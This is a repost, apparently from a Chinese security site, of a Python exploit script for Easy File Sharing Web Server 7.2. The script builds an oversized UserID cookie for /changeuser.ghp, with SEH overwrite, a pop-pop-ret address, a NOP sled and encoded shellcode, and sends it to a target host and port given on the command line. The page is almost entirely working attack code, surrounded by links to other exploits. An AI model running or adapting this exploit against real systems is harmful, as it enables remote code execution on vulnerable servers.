首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Easy File Sharing Web Server 7.2 - Remote SEH Based Overflow
来源:https://twitter.com/Audit0rSA 作者:Audit0r 发布时间:2015-10-27  
#!/usr/bin/env python
# Easy File Sharing Web Server v7.2 Remote SEH Based Overflow
# The buffer overwrites ebx with 750+ offset, when sending 4059 it overwrites the EBX
# vulnerable file /changeuser.ghp > Cookies UserID=[buf]
# Means there are two ways to exploit changeuser.ghp
# Tested on Win7 x64 and x86, it should work on win8/win10
# By Audit0r
# https://twitter.com/Audit0rSA
 
 
import sys, socket, struct
  
 
if len(sys.argv) <= 1:
    print "Usage: python efsws.py [host] [port]"
    exit()
  
host = sys.argv[1]   
port = int(sys.argv[2])
 
 
# https://code.google.com/p/win-exec-calc-shellcode/
shellcode = (
 
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
 
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
 
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
 
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
 
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
 
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
 
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
 
"\x1c\x39\xbd"
 
)
 
print "[+]Connecting to" + host
 
 
craftedreq =  "A"*4059
 
craftedreq += "\xeb\x06\x90\x90"             # basic SEH jump
 
craftedreq += struct.pack("<I", 0x10017743)      # pop commands from ImageLoad.dll                        
 
craftedreq += "\x90"*40                          # NOPer
 
craftedreq += shellcode                        
 
craftedreq += "C"*50                             # filler
 
 
 
httpreq = (
 
"GET /changeuser.ghp HTTP/1.1\r\n"
 
"User-Agent: Mozilla/4.0\r\n"
 
"Host:" + host + ":" + str(port) + "\r\n"
 
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
 
"Accept-Language: en-us\r\n"
 
"Accept-Encoding: gzip, deflate\r\n"
 
"Referer: http://" + host + "/\r\n"
 
"Cookie: SESSIONID=6771; UserID=" + craftedreq + "; PassWD=;\r\n"
 
"Conection: Keep-Alive\r\n\r\n"
)
 
 
print "[+]Sending the Calc...."
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
s.connect((host, port))
 
s.send(httpreq)
 
s.close()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·The World Browser 3.0 Final -
·Windows 10 - pcap Driver Local
·Alreader 2.5 .fb2 - SEH Based
·Safari User-Assisted Applescri
·Beckhoff CX9020 CPU Module - R
·Avant Browser Lite / Ultimate
·Zpanel Remote Unauthenticated
·HandyPassword 4.9.3 SEH Overwr
·HandyPassword 4.9.3 - SEH Over
·SiteWIX SQL Injection
·VLC 2.2.1 Stack Overflow
·HTML Compiler Remote Code Exec
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved